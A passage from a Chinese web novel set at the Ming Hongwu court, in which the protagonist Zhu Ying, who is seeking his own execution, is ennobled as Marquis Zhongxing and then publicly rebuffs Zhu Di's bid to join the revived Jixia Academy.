当穿着崭新绸缎袍子,但依旧难掩商贾气质,显得有些紧张局促的胡老三出现的一瞬间,满朝文武,所有人的目光,在此刻全都齐刷刷地,如同探照灯一般,聚焦到了这个陌生的小老头身上.....好奇、审视、疑惑、难以置信,各种目光交织在一起。 胡老三这辈子哪里经历过这样的场面? 被这么多平日里想见都见不到的天官贵胄盯着,感受到四周扑面而来的无形压力,脚下瞬间一软,差点当场出丑。 不过好在,就在不久前,他刚刚在御书房经历过老朱那更具压迫感的审视,也算是提前“预习”了一下这等大场面,虽然此刻依旧腿肚子发软,心跳如鼓,但终究还是勉强撑住了,还能保持着正常的行走姿态,只是步伐略显僵硬..... “草民胡老三,叩见陛下,陛下万岁万岁万万岁!” 胡老三来到大殿中央之后,噗通一声跪倒在地,结结实实地给老朱行了个五体投地的大礼,声音带着明显的颤抖。 “快起来吧,胡老板,不必多礼。”老朱语气颇为和蔼,“此次湖广赈灾,你可是出力最大,功劳不小。这样,咱今天就破个例,赐你一张椅子,坐着说话。” “蒋瓛,帮咱给胡老板抬一张椅子来。”老朱吩咐道。 “草民惶恐!陛下,这...这如何使得?万万使不得啊!” 胡老三吓得魂都快飞了,赶忙趴在地上,动都不敢动弹,连声推辞。 开玩笑!在这庄严肃穆的朝堂之上,连王爷、国公们都得规规矩矩地站着,自己一个卑贱商贾,何德何能敢坐着? 什么叫做如坐针毡?这特么的就叫做如坐针毡啊!不,比针毡还可怕,这简直是坐在火山口上! “胡老板你就不要推辞了,” 老朱摆摆手,语气不容置疑,“就凭你前几日,眼睛都不眨一下就捐出的那三十万两雪花银,凭这份为国为民的赤诚之心,咱就得给你赐座!” “无论是士农工商,只要是爱国的,只要是为我大明做出贡献的,在咱眼里,那都是一视同仁,都是咱大明的有功之臣!有功,就该赏!” 第84章 朱老四低头? 整整四百多万两金银摆在面前的震撼是什么样的? 很多人没有体会过,甚至难以想象。那不仅仅是数字的冲击,更是一种视觉和心灵的巨大震撼。 而现在,此刻,奉天殿内的文武百官,全都真真切切地体会到了这种头皮发麻、心跳骤停的感觉..... 当一口口沉重的箱子被侍卫们“哐当”、“哐当”地接连打开的那一刻,所有人的目光,就如同被磁石吸引的铁屑,已经齐刷刷地、不受控制地落在了这些敞开的箱子上.... 准确地说,应该是死死地钉在了这些箱子里那堆积如山、闪烁着诱人而又刺眼光芒的金银财宝上。 大部分都是白花花的官银锭子,码放得整整齐齐,像一座座小银山;里面还混杂着厚厚一沓沓的巨额银票,黄澄澄、沉甸甸的金条,以及一些显然是来不及变现、直接当作“硬通货”献上来的房契、地契....各种财富形式汇聚一堂,直观地展示着什么叫“富可敌国”。 “朱御史。”老朱的声音响起,带着难以掩饰的满意和自豪。 “臣在。”朱煐无奈,只得硬着头皮站了出来...... 心里头却在哀嚎:又来了!又要被架在火上烤了! 这简直是弄巧成拙,求死不成!看老朱现在这眉飞色舞的架势,哪里还有半点要处罚自己的意思?分明是要搞一场盛大的表彰大会!自己怕不是又要被重赏?一想到这个,朱煐就觉得前途一片灰暗。 不过事已至此,众目睽睽之下,自己也就只能“坦然”受之了....虽然这“坦然”里充满了苦涩。 “你之前跟咱提过,要重开稷下学宫,为大明培养人才。咱思前想后,觉得此事甚好,意义重大!”老朱目光扫过下方依旧处于震惊中的百官,声音洪亮,“正好,借着今日的这个时机,咱就将此事拿出来,到朝堂上议议。” 老朱嘴上说是“议议”,可那言语之间,那不容置疑的语气,却压根没有半点要和大家商量讨论的意思,完全就是通知。他也不管百官那错愕、茫然、甚至带着几分惶恐的目光,直接自顾自地开口下达了命令。 “稷下学宫,日后将成我大明第一学府,是教化天下、遴选英才的重地!这等关乎国本的大事,自该有咱亲自挂帅一份!”老朱一拍龙椅扶手,定下了基调,“即日起,咱便担任这稷下学宫祭酒一职!亲自过问学宫大事!” 此言一出,百官更是心惊,陛下亲自担任学宫祭酒?这规格,这重视程度,简直前所未有! “秦王!”老朱的目光转向了自己的儿子。 “儿臣在。”被点到名字的朱樉当即精神一振,站了出来....他知道,重头戏来了。 老朱的目光在朱樉的身上扫了一眼,带着一丝审视,更多的是定论:“咱就命你为稷下学宫副祭酒,协助咱管理学宫事务,你可有异议?” “儿臣没有异议!定当尽心竭力,为父皇分忧,办好学宫!” 朱樉先是立刻表态,随即又像是想起什么,补充道:“不过父皇,老三(晋王朱棡)此刻正在回京的路上,儿臣前几日联系过他,他在信中也对重开学宫极感兴趣,言明也有意当这稷下学宫副祭酒,为大明文教出一份力,父皇您看....?” 朱樉说话的语气虽然是疑问句,但心里却十分淡定,甚至有点想笑。 因为这事情是早就已经和老爷子在私下里商定好了的,眼下不过是寻了个最风光、最合适的时机,将私下定好的事情搬到这台面上来,走个过场,顺便震慑一下群臣罢了.....老三那边,早就通过气了。 “好!” 老朱从善如流,大手一挥.... “老三既然也有这份心,也想为稷下学宫出一份力,那是好事!那就让他也当个学宫副祭酒吧!正好学宫初建,百废待兴,也缺人手,你们兄弟多帮衬着朱爱卿一些,一定要齐心协力,将咱大明的这第一学府给咱办好了!办出气势来!” 安排完自己的两个儿子,老朱的话锋一转,终于落到了今日最大的功臣身上,目光也变得格外温和........... “朱御史。你立下如此泼天大功,解朝廷倒悬之急,救湖广百万生灵,咱若是不赏,天下人都会说咱朱元璋赏罚不明!”老朱的声音带着一种不容拒绝的力度,“即日起,咱便封你为——中兴侯!食禄千五百石,世袭罔替!同时,兼任这学宫副祭酒之职,总领学宫筹建及日后教学庶务!你觉得如何?” “????” 老朱吩咐完朱樉之后,这突如其来的封赏,却是让全场所有人不由地一怔,仿佛被一道惊雷劈中..... 就连朱煐自己也彻底愣住了,大脑一片空白..... 什么玩意儿? 封侯了? 就这么...封侯了?中兴侯? 这...这是什么封号?“中兴”?听起来怎么这么...宏大?这么...要命呢? 虽然一时半会儿弄不清楚老朱为什么偏偏给自己起了这么个意味深长的封号,但有一点朱煐是可以百分之百肯定的,那就是——自己真的封侯了!有爵位了!还是世袭罔替的侯爵! 一想到这个,朱煐顿时感觉眼前一黑,心中郁闷得想要吐血.... 这封侯拜爵,对于朝堂上任何一个人来说,都是梦寐以求、光宗耀祖的天大好事!可对于一心只想完成那个坑爹的“为家国天下”而死任务的朱煐而言,封侯,无疑就等同于给自己本就如履薄冰的作死之路,又增加了无数倍的难度!这简直就是晴天霹雳! 官位越高,爵位越显,自己就越难“合理”地被皇帝处死啊!老朱你这哪是赏我,你这分明是在害我啊! ...... 朱煐怔在原地,内心哀鸿遍野的同时。 奉天殿上,先是死一般的寂静,随即响起一片压抑的倒吸冷气之声,然后再次陷入了鸦雀无声的状态。 百官全都沉默了....不是不想说话,而是被这接连的重磅消息砸得有些头晕目眩,需要时间消化。封侯!而且是带着“中兴”二字封号的侯爷!这意义太不一般了! 就连提议重开学宫、知道内情较多的朱樉,此刻也愣住了片刻.... 以朱煐此番筹集四百多万两的泼天功绩,直接封侯,虽然显得有些破格、过于恩宠,可仔细想想,倒也能说得过去,毕竟功劳实在太大。只是.....这“中兴侯”的封号.... 这个封号是什么意思?蕴含的意味可就太深长了! 对于一个侯爵而言,封号尤为重要,往往体现了皇帝的期许和受封者的特质。老朱必然不会是无的放矢,随便起个名字。那么也就是说,“中兴”这个封号,是老朱深思熟虑之后才拿出来的,其中必然蕴含着他老人家的深意和对朱煐的定位..... “中兴....中兴....”朱樉在心里默默咀嚼着这两个字。 忽的,朱樉眼前一亮,仿佛一道闪电划过脑海。 他好像想到了什么关键之处..... “果然!父皇对朱御史寄予厚望,远超常人!这是想让我和老三成为辅佐新君的贤王,而让朱御史成为辅佐新君的擎天博玉柱、架海紫金梁般的贤臣,与我们一同辅佐未来的大明之君,开创一个远超当下的...治世中兴盛世?” 朱樉顿时眼前越来越亮,他越是细想,越发感觉自己猜得有道理,甚至能脑补出老朱对未来蓝图的规划.....一种与有荣焉的感觉油然而生。 而与朱樉的“恍然大悟”和隐隐兴奋不同,站在武将队列靠前位置的朱棣,则始终眯着眼睛,如同蛰伏的猎豹,静静地观察着朝堂上的风云变幻,分析着每一个细节背后可能隐藏的信息。 方才老朱直接下达了命令,朱樉和那个远在封地、连面都没露的老三朱棡,都成了这稷下学宫的副祭酒,可老朱的口谕中,却没有半分提到他燕王朱棣的意思! 这细微的差别,让朱棣瞬间感觉到了一种刺骨的寒意和一种被排除在核心圈层之外的巨大危险! 这是一种被刻意边缘化的危险信号! 都是王爷,都是父皇的儿子,老二在京也就罢了,老三甚至都没有在京城,怎么他都能凭空得个学宫副祭酒的职位,而自己这个战功赫赫、就站在朝堂之上的燕王,却不是? 这其中的区别对待,要说没有问题,朱棣是打死都不相信的!父皇此举,必有深意! 老朱亲口所言,这稷下学宫将成为大明的第一学府,也就意味着这学宫的重要性将无与伦比,未来必然是天下学子心向往之、挤破头也要进入的最高殿堂。那积累的名望,那遍布天下的人脉,一个学宫副祭酒的位置,便代表着潜在的“桃李满天下”,代表着稷下学宫所有学子名义上的“师长”! 或许没有朝夕相处的师生之实,但这份师生之名,以及由此带来的隐形权力和影响力,绝对是任何一个有远见的政治人物都无法忽视的。 而紧接着,当朱棣听到老朱对朱煐的那个特殊封号——“中兴侯”的时候,心中更是猛地一凛,警铃大作! 中兴侯! 这个封号可绝不一般!非同凡响啊!“中兴”二字,岂是能随便赐予的?这几乎明示了父皇对于朱煐在未来王朝格局中扮演角色的最高期望! 看来父皇对于这小子的重视和期望,还要在自己之前的想象之上!这是要将他打造成未来辅佐新君、实现大明“中兴”的核心班底! 朱棣眯着眼睛,眼神如同最精细的尺子,在站在大殿中央、一脸“郁闷”的朱煐身上不断飘动、衡量.... 要说在此之前,在朱煐没有展现出这惊世骇俗的聚财能力之前,朱棣如果知道老朱如此重视、甚至有点溺爱朱煐的话,他的心中必然充满了不理解和不屑,认为老爷子是老糊涂了。可现在,亲眼见证了四百多万两白银的冲击后,朱棣不光理解了,而且还是非常理解,甚至深刻认同老朱的想法和做法。 换位思考,倘若自己是皇帝,手下能有这么一个几天之内就能为朝廷聚拢到数百万两银子、解决天大难题的能臣干吏,会如何看待?会如何任用? 答案显而易见,必然是倾力重用,寄予厚望!更何况朱煐此人,性格刚正不阿,行事颇有章法,不结党营私,颇有做“孤臣”的潜质。 而什么样的臣子最能让皇帝放心?最受皇帝青睐?那自然就是有能力、又不拉帮结派的“孤臣”! 而一个有能力、有原则、又深受皇帝信任的“孤臣”...... 朱棣眼中闪烁着复杂而异样的光芒,心中念头急转..... 他在听到“中兴侯”这个封号的瞬间,就自我感觉已经触摸到了老朱的部分心思..... 父皇他这是未雨绸缪,在为未来布局?是想让朱煐这样的能臣,辅佐即将确立的新皇,共同开创一个大明的“中兴”之世? 洪武朝虽然经过多年休养生息,国力已经算得上十分富裕,远超元末,可要说四海升平、百姓富足、文治武功都达到顶峰的“盛世”,却还远远谈不上。北元残余势力犹在,内部诸多问题也亟待解决。 显然,父皇这是对朱煐的才能极为认可,对大明的未来寄予了超越当下的厚望啊!而“中兴侯”的封号,就是这种期望最直接的体现! 可想到这里,朱棣却不由自主地皱起了眉头,心情变得更加沉重..... 因为他想到了自己尴尬的处境和未来可能面临的局面..... 眼下,老二秦王朱樉和老三晋王朱棡,都名正言顺地成了稷下学宫的副祭酒,进入了这个未来必将影响深远的文化权力核心。而朱煐,作为提议者和首功之臣,也理所当然地成了副祭酒,而且看父皇的意思,重开稷下学宫的具体事务,想必主要就会落在他的身上..... 父皇又封其为寓意深远的“中兴侯”,显而易见这是将朱煐视作了未来实现大明“中兴”的关键人物。 而自己呢?燕王朱棣,却因为之前那点“微不足道”的冲突,似乎被有意无意地排除在了这个新兴的、潜力巨大的体系之外!再加上老二朱樉肯定会在中间各种挑拨离间.... 倘若如此态势持续下去,自己和朱煐,乃至和这个代表着未来朝廷文教方向和人才储备的“稷下学宫”体系之间的关系,将会变得十分疏远,甚至对立! 朱棣心中一凛,一股强烈的危机感涌上心头。 要是放任这种情况一直持续下去,那对于燕王府的未来而言,将会十分危险!极其被动! 从某种程度而言,朱煐如今的身份,以及老朱有意的推波助澜和重点培养,再加上他即将主导的、作为大明第一学府的稷下学宫,朱煐在某种程度上,将来就可能代表了未来大明朝廷在文教、乃至部分政事上的态度和方向! 倘若当真因为之前的龃龉和现在的边缘化,导致朱煐,乃至整个“学宫系”的未来力量,站到了自己的对立面的话..... 那么燕王府未来的处境,将会变得异常艰难和堪忧!这绝对是朱棣万万不想看到,也绝对不能接受的局面!必须想办法破局! ........ 不行!绝对不能坐以待毙!必须主动出击,打破这个对自己不利的局面! 想到这层可怕的后果,朱棣眼神一凛,不再有丝毫犹豫,当即一步跨出队列,动作果断而坚决。 眼下的奉天殿内,正因为老朱的连续重磅宣布和那四百多万两白银的视觉冲击而陷入一种诡异的寂静,任何细微的举动都会引发所有人的注意,而燕王朱棣这突如其来的出列动作,无疑就像在平静的湖面投下了一块巨石,瞬间引起了所有人的关注..... 顷刻间,朝中文武百官,无论之前是在震惊、是在算计、还是在暗自庆幸,所有人的目光全都齐刷刷地,带着惊疑、好奇、审视,落在了这位刚刚还为朱煐说话,此刻又突然站出来的燕王殿下身上.... 他又要做什么? “老四,怎么?你还有事要奏?” 老朱看到朱棣出列,也是眉头一挑,语气平淡,听不出什么情绪,但目光却深邃了几分,似乎也想看看这个一向心思深沉的四儿子,此刻又想玩什么花样。 朱棣深吸一口气,压下心中那点因为主动“低头”而产生的不适感,朝着老朱躬身一礼,声音清晰而沉稳地开口,说出了一句让整个大殿瞬间陷入死寂的话: “启禀父皇,儿臣见二哥、三哥皆能为稷下学宫效力,儿臣身为皇子,亦感责任重大,心向往之。故而,儿臣毛遂自荐,也想当这稷下学宫的副祭酒,为父皇分忧,为大明文教尽一份绵薄之力,还请父皇应允!” 朱棣此言一出,瞬间整个大殿一片死寂..... 仿佛连空气都凝固了...... 寂静无声的大殿内,真正达到了落针可闻的程度,甚至能听到一些人因为过度惊讶而倒吸冷气却又强行憋住的声音..... 燕王朱棣,主动开口,要求当副祭酒? 这....这太阳真是打西边出来了?! 谁不知道燕王朱棣和朱煐之间的矛盾?那几乎是摆在明面上的! 毕竟朱棣刚一进京城,连口气都没喘匀,他和他的心腹大将就被朱煐这个“愣头青”一点面子不给地强行送进了应天府府衙大牢。 这一关就是好几天,让燕王颜面扫地。 这事儿完完全全就是朱煐一手推动、一手操办的,说两人之间有深仇大恨或许夸张,但说势同水火、绝无转圜余地,那是朝野皆知的! 可今天,燕王殿下这接二连三的操作是什么意思? 先是打破众人预期,站出来为朱煐说话、请功; 现在更离谱,明明这稷下学宫副祭酒之位,陛下明显没有考虑他,名单里压根没提他朱棣的名字,可他却主动开口,硬要贴上去..... 这不是赤裸裸的热脸去贴人家的冷屁股吗?燕王殿下何时变得如此....如此能“屈”了? 可以说,朱棣这接连的举动,完全是放下了身为亲王、身为沙场名将的脸面和骄傲! 燕王竟然这般重视朱煐?重视到不惜自降身份、主动求和、甚至谋求合作的地步? ...... 原本有些官员因为消息闭塞或者反应迟钝,对朱煐的重要性还没有什么特别深刻的感觉,只觉得是陛下格外恩宠一个能臣罢了。 可朱棣这一手堪称“神来之笔”的操作,顿时像一记重锤,敲醒了那些还在迷糊的官员! 能在这洪武朝的朝堂上站稳脚跟的,有哪一个是真正蠢笨、没有政治嗅觉的?这殿内的每一个官员,几乎全都是经历了无数风浪、修炼成精的老油条。 或许有可能因为前段时间陛下较少动怒杀人,导致大家神经有些松弛,丧失了该有的警惕,一时间对某些信号反应慢了一些。 可在燕王朱棣这三番两次、即便看似“倒贴”也要交好朱煐的鲜明态度下,大家就是再迟钝,此刻也全都彻底反应了过来! 再联想到刚刚老朱给朱煐的那个意味深长的封号——“中兴侯”..... 所有人再次看向站在大殿中央,表情似乎有些“无奈”的朱煐时,眼神就已经全然不同了!那不再是看一个简在帝心的宠臣,而是在看一个未来的政治巨头,一座即将崛起的泰山! 看来朱御史不光是陛下眼前的红人那么简单!陛下这分明是想将朱御史当作国之柱石,留给下一任新皇,让其辅佐新君,实现大明更进一步的“中兴”啊! 换而言之,如果朱煐自己能够稳住,不犯什么致命错误的话,在老朱的强力推动和保驾护航下,再加上稷下学宫若能成功兴办、桃李满天下,以朱煐这惊世骇俗的聚财之能和刚正不阿的性子,日后怕是成为两朝元老、两朝倚重的核心重臣,已经是板上钉钉的事情! 换句话说,现在,此刻,大明未来的皇帝是谁,东宫之位属谁,这场皇储之争还没有一个明确的最终结果,可大明未来的重量级臣子之一,其轮廓已经十分清晰地显现了出来,那就是刚入朝没有多久的朱煐! 要说朱煐入朝的时间,满打满算确实没有多长,资历浅得可怜。 可要说朱煐在这短短时间内做的事情,那可就太多太震撼了!几乎是以一己之力,搅动了整个朝堂的风云,直接改变了现有的格局和不少人的命运! 而眼下,他又凭借着一己之力给朝廷筹措到了整整四百多万两的天文数字的银子! 要知道,大明去年全国的赋税收入,各种田赋、盐课、茶课等等全部折合成银两计算,也才两千万两上下。朱煐这一下,就干出了整个大明岁入五分之一甚至接近四分之一的财富!这是何等恐怖的能力? 就这能力,就这深受陛下信任的刚正性子..... 被陛下如此重视,甚至被视为“中兴之臣”,那不是理所当然的事情吗? ...... 黄子澄站在文官队列中,看着朱棣竟然如此果断、甚至有些“卑微”地主动向朱煐低头示好,心中不由地泛起一阵苦涩,脸色变得更加难看。 朱棣的行为,已经可以毫不夸张地视作是在向朱煐公开低头了。连燕王这等人物都不得不放下身段,这朱煐的份量,得重到什么地步? 而朱棣此举,在明眼人看来,可谓能屈能伸,是成大事者的必备素质,并不会因此就看不起他,反而只会觉得燕王殿下审时度势,非同常人,是个厉害角色..... 而面对就连燕王朱棣都不得不选择低头的朱煐,自己刚才却带头跳出来攻讦....黄子澄一想到此,顿时觉得嘴里发苦,一时间有些无言以对,甚至感到一阵后怕..... 刚刚带头针对朱煐,是黄子澄基于他看到朱煐、蓝玉、朱樉等人明显抱团,且都与朱允熥关系密切的基础上,做出的一个大胆判断。 其中最关键的就是,黄子澄严重怀疑,那个看似懦弱的朱允熥,极有可能是在故意装疯卖傻,行那瞒天过海之计!而朱煐等人,则是和朱允熥伙同起来,上演了一出“明修栈道、暗度陈仓”的夺嫡大戏! 所以黄子澄才准备借题发挥,利用朝议的机会,试探一下朱煐和陛下的反应,当然,也不乏这几天朱允炆一派多次试图拉拢朱煐却没有丝毫成效,让他心中积压了不满,想要借此机会给朱煐一个教训,打压一下其气焰的想法.... 第85章 朱煐杀疯了! 想到这层利害,朱棣将心中杂念尽数压下,向前稳稳踏出一步,随即利落地转过身,目光坦然又带着恰到好处的敬意,看向站在不远处的朱煐。 他调整了一下呼吸,让自己的语气听起来更加真诚而无害...... “朱御史,”朱棣开口,声音清晰而平和,“本王素来敬佩你的为人与风骨。犹记那日本王纵马街市,行为失当,是朱御史你刚正不阿,毅然以朝廷律法约束本王,令本王印象深刻。” 他略微停顿,仿佛在回忆和反省,继续道:“近几日本王闭门思过,时常自我反省,愈发深感当日行为之荒诞不经,有失藩王体统。在此,本王先谢过朱御史当日纠错之举,使本王能及时醒悟。” 这番近乎认错道歉的话,从一位权势赫赫的藩王口中说出,已是给足了面子。 朱棣将姿态放得极低,接着才切入正题...... “说起来,我们这也算是不打不相识了。如今这稷下学宫重开,乃是我大明文教盛事,关乎国本未来。本王虽是一介武夫,却也心怀向往,想为此等盛事尽一些绵薄之力,略尽心意。故而,恳请朱御史准许本王一同参与学宫事务,哪怕是从微末之事做起。” 朱棣言语之间满是诚恳,眼神清澈而专注,几乎看不到丝毫王爷的架子,只剩下纯粹的请托之意。 这下,朱棣算是彻底低头了。这番言行,几乎就等于公开认错并请求和解了。姿态之低,态度之恳切,让殿内众臣都感到有些意外。 立刻,所有人的目光,比之前更加集中、更加好奇地,齐刷刷地落到了朱煐的身上。燕王这边已经摆出了如此低的姿态,几乎是把台阶铺到了朱煐脚下,这位向来不按常理出牌的朱御史,又会作何回应?是顺水推舟,还是........ 朱煐:“......” 看着眼前一脸诚恳、目光清澈得仿佛能映出自己影子的朱棣,朱煐心里头简直像是日了狗!一股无名火夹杂着浓浓的无奈直冲脑门。 好不容易啊! 费尽心思,才想办法得罪了朱老四,把他往死里怼了一回,本来还想着这梁子结下了,能当一手绝佳的底牌,就等着将来朱老四登基上位之后,方便自己完成那个坑爹的“为家国天下”而被君王所杀的天命任务呢! 结果呢?这明明感觉已经得罪死了,才过了多久?风头还没完全过去呢,这朱老四居然就主动跑来,想要化干戈为玉帛了? 咱最近也没干啥特别针对他的事啊?啥也没干,这滔天的恩怨,就被朱老四自己给默默消化、自行和解了?这消化能力也太强了吧! 这老朱家的胸襟,难道都宽广到这种地步了吗?挨了揍不但不记仇,还主动上来赔笑脸?朱煐感觉整个人都麻了,一套精心策划的“作死”连招,仿佛打在了棉花上,无处着力。 ........ “老四,你好不要脸!” 就在所有人的目光都聚焦在朱煐身上,等待他回应这棘手的局面时,一道粗豪而充满讥诮的声音突兀地响起,打破了殿中微妙的寂静。 大家下意识地循着声音看去——说话的不是秦王朱樉还能是谁? 只见朱樉脸上带着毫不掩饰的鄙夷,三步并作两步,几乎是蹿到了朱棣面前,用身体隐隐挡住了朱棣看向朱煐的视线。 “老四,别以为本王不晓得你肚子里打的什么算盘!” 朱樉指着朱棣的鼻子,声音洪亮,确保殿内每个人都听得清清楚楚,“把你那些弯弯绕绕的心思都给本王收起来!这稷下学宫是钻研学问的清静之地,焉能让你这种野心勃勃、整天琢磨着搞事情的家伙混进去?” 他双目圆睁,炯炯地盯着朱棣,仿佛要将他看穿:“本王可是一直都在盯着你呢!你想都别想!” 朱棣面对朱樉的突然发难,眉头微不可察地蹙了一下,但随即恢复了平静,他直接无视了挡在面前的朱樉,目光依旧执着地越过他,投向后面的朱煐。现在,最关键的是朱煐的态度,朱樉的胡闹,暂时可以不理。 而被朱棣如此彻底地无视,朱樉顿时更恼了。 他奶奶的,你个朱老四,老子和你说话,你当我是空气? 怒火上涌,朱樉也顾不得许多了,猛地转身,对着朱煐和满朝文武,大大咧咧地直接开口控诉,声音震得殿梁似乎都在嗡鸣:“朱御史!诸位同僚!你们都听好了!燕王朱棣,素有野心,其心可诛!他如今想方设法要钻进稷下学宫,绝非为了什么学问,分明是想借此机会,暗中网罗人才,培植私党,图谋不轨,伺机造反!此乃引狼入室,万万不可放任啊!” “造反”二字如同惊雷,在奉天殿中炸响。 朱棣脸色骤变,再也无法保持镇定。这顶帽子扣下来,可是能压死人的! 当即朱棣也恼了,冲着朱樉怒目而视,厉声喝道:“秦王!休得胡言!污蔑亲王造反,乃是重罪!你可有证据?若无证据,空口白牙在此构陷,你要负责任的!” 朱樉看着朱棣那一脸气急败坏的样子,心中爽极了,他就喜欢看朱棣这副想发作又碍于场合不得不隐忍的模样。 他双手一叉腰,摆出一副浑不吝的架势:“证据?燕王之心,路人皆知!满朝文武谁看不出来?老子今天就控诉你要造反了!怎么滴?本王就明说了,就是要防着你造反,就是要让你进不了学宫!你能奈我何?” 朱棣:“......” 要说用脑子算计朱樉,朱棣自信有一百种方法能让他吃瘪。可要说像这样在朝堂之上当面互喷、胡搅蛮缠,朱樉先天就立于不败之地。 原因很简单,朱樉的人设就是“浑”、“莽”,他做出任何出格的事情,大家虽然头疼,却也不会觉得太意外,毕竟他是“秦王朱樉”。 可换成素以“英明沉稳”著称的朱棣,若也学着朱樉那般撒泼打滚,不仅毫无胜算,反而会彻底毁了自己的形象。 和朱樉进行这种低层次的正面交锋,朱棣深知自己只有吃瘪的份儿。 就比如现在,他被朱樉这番毫无逻辑、却杀伤力巨大的混账话噎得一时语塞,胸中憋闷不已。无奈之下,他只能强行压下火气,脸上露出一丝被冤枉的屈辱和无奈,默默地........自闭了。 同时,他再次选择无视掉还在喋喋不休的朱樉,只是用那双带着复杂情绪的眼睛,固执地看向朱煐,将最后的希望寄托于此。 ........ 突然跳出来搅局的朱樉,给了正处于两难境地的朱煐一个天大的惊喜! 朱煐心中几乎要欢呼出来:不愧是你啊秦王!我的好兄弟!关键时刻你是真敢上,真顶用啊!这胡搅蛮缠的本事,简直是天赋异禀,恰到好处地给了自己一个绝佳的缓冲和拒绝的理由! 趁着朱樉吸引了大部分火力,朱煐脑中飞速运转,正准备就着朱樉指控的“野心”话题,顺水推舟,直接开口强硬拒绝朱棣的请求,把这得罪人的活儿干得漂亮些........ 然而,就在这时,一直沉默观察的龙椅之上,老朱的声音带着不容置疑的威严响起了: “行了!老二!老四!都多大的人了?一个是秦王,一个是燕王,在这奉天殿上,当着百官的面,吵闹得像市井泼妇一般,成何体统?都给咱闭嘴!” 老朱先各打五十大板,镇住了场面,然后,他的目光转向了朱煐,语气缓和了一些,甚至带上了一丝商量的口吻:“朱御史啊,你看........老四他既然诚心想为学宫出力,也知道错了,要不........你便给他一个机会?咱呢,也厚着这张老脸,替他求个情。这副祭酒的位置太高,确实不妥,咱也不提了。你看,让他进去当个普通的博士,教导一下学子,历练一下心性,可行否?” 老朱亲自开口说情了! 这本是极给朱棣面子,也极给朱煐压力的一幕,但朱煐听在耳中,非但没有感到压力,反而顿时眼前一亮! 好家伙!这可是一个千载难逢、一举两得的好机会啊! 既能拒绝朱元璋,又能再次狠狠得罪朱棣!这简直是瞌睡遇到了枕头! 机不可失,失不再来!朱煐毫不犹豫,立刻开口,声音清晰而坚定,甚至带着几分原则不容侵犯的凛然: “陛下!君无戏言!” 他先抬出这顶大帽子,然后才不卑不亢地继续说道:“您先前在金殿之上,当着文武百官的面,已然明确宣示,这稷下学宫一应事务,全权交由臣来主管。既然如此,您此刻便不该再行插手干预,此乃有违前言,于理不合。” 先将了老朱一军后,朱煐才将矛头直指朱棣,语气变得冷硬起来:“至于燕王殿下,恕臣直言,其此前纵马街市,德行有亏,乃是众目睽睽之事。仅此一条,莫说是副祭酒,便是这学宫博士之职,以其目前之行止,亦恐难称其位,不配担当教化学子之责!” 说着,朱煐淡淡地,甚至带着一丝轻蔑地瞥了一眼站在下方的朱棣。 而此时的朱棣,已经完全愣在了原地,脸上先是错愕,随即涌上难以置信的羞辱感,脸色瞬间涨得通红。他万万没想到,自己已经如此低声下气,甚至连父皇都亲自开口说情了,这朱煐竟然还敢如此不留情面地当面拒绝,甚至直言自己“德行有亏”、“不配”!这简直是奇耻大辱! 看到朱棣脸上那清晰无比的屈辱和愤怒的表情,朱煐心中不由大喜! 对了!要的就是这个效果!果然成功激怒了朱老四!这仇恨值,拉得稳稳的! 距离自己完成那个“被君王所杀”的天命任务,看来又近了一步! 趁热打铁,朱煐决定再接再厉,抓紧这个千载难逢的时机,对着朱棣进行进一步的羞辱和打击,务必把路走绝,把梁子结死! 他挺直腰板,目光锐利地直视朱棣,掷地有声地说道:“燕王殿下,便请你死了这条心吧!只要我朱煐还主管这稷下学宫一日,只要你还是如今这般行止,你便休想将手插足进来半分!” “稷下学宫,乃是为大明培养栋梁之才的圣地,非是结党营私、邀买人心之所!本官既为学宫副祭酒,自当恪尽职守,保护我大明学子纯净向学之心,使他们能心无旁骛,将来为我大明效力,而非成为某些人满足私欲的工具!” 朱煐这一番话,义正辞严,铿锵有力,如同惊雷般在整个奉天殿中回荡! 整个朝堂,瞬间陷入一片死寂!落针可闻! ........ 偌大的奉天殿,此刻鸦雀无声,连官员们沉重的呼吸声都清晰可闻。 百官全都像是被施了定身法一般,目瞪口呆地看着眼前这石破天惊的一幕,大脑几乎停止了思考。 嘶——! 片刻之后,一阵压抑不住的、此起彼伏的倒吸冷气声在殿中悄悄响起,所有人都只感觉背后升起一股寒意,直冲头顶。 朱御史........这........这也太猛了吧?! 当着陛下的面,不仅毫不犹豫地拒绝了陛下亲自的说情,还顺带着将燕王朱棣狠狠地羞辱了一番,直接把话说死,一点回旋的余地都不留! 这要是放到其他任何一位臣子身上,那简直就是自寻死路,是彻头彻尾的没脑子、狂悖之徒! 可偏偏,做出这等事情的是朱煐!而诡异的是,在场的百官在极度震惊之后,竟然隐隐觉得........这很朱煐!仿佛他做出这种事情,才是正常的! 而让百官感到寒意刺骨、真正倒吸冷气的根本原因,则是在于一个关键的事实:此刻站在殿中,悍然拒绝皇帝、羞辱亲王的朱煐,与之前那个朱煐,已然全然不同! 从前的朱煐,虽然深得老朱的宠爱,性格刚正不阿,其言论弹劾的杀伤力也确实非常强大,但究其根本,他毕竟只是一个御史,一个职责在于闻风奏事、纠察百官的言官。 在等级森严、权柄为重的朝堂之上,一个没有实际行政权力、只靠一张嘴皮子的御史,要说能有多重的分量,其实也谈不上。 那时的朱煐,在众多老谋深算的官员眼中,更像是一个被皇帝惯坏了的“宠臣”。 他的刚直,他的无畏,很大程度上是建立在老朱无条件的偏袒和回护之上的。一旦有朝一日圣心转移,失去了这份独一无二的庇护,以他那种宁折不弯、到处树敌的性子,在这吃人不吐骨头的官场上,恐怕连两三天都活不过去,瞬间就会被那些早已恨得牙痒痒的对手撕成碎片。 因此,对于之前的朱煐,大家虽然都选择避其锋芒,不愿轻易招惹,但内心深处害怕的并非朱煐本人,而是站在他身后的洪武皇帝。是一种“打狗还需看主人”的顾忌,是一种不想因为惩治一个“疯狗御史”而惹怒皇帝、脏了自己手的精明算计。 可现在的朱煐,却和之前已然全然不同了!这种不同,是质的变化! 一己之力,在短短时间内,为朝廷筹措到了四百六十三万两巨额白银!这是一种什么样的能力?这已经不是简单的“能干”可以形容,这简直是点石成金、化腐朽为神奇的本事! 拥有如此骇人听闻的聚财能力,任何一个理智的皇帝,都必然会对其予以重用,更何况是眼下国库并不宽裕的洪武皇帝? 更妙的是,朱煐还是这般刚正不阿、六亲不认的性格! 这种性格放在寻常官员身上,那是取死之道,是自绝于官场的愚蠢行为。可唯独放在朱煐身上,却显得恰如其分地合适! 一个能力超群,能解决皇帝燃眉之急,同时性格恶劣,认死理,只效忠于皇帝一人,并且和满朝文武都合不来、甚至有过节的“孤臣”........ 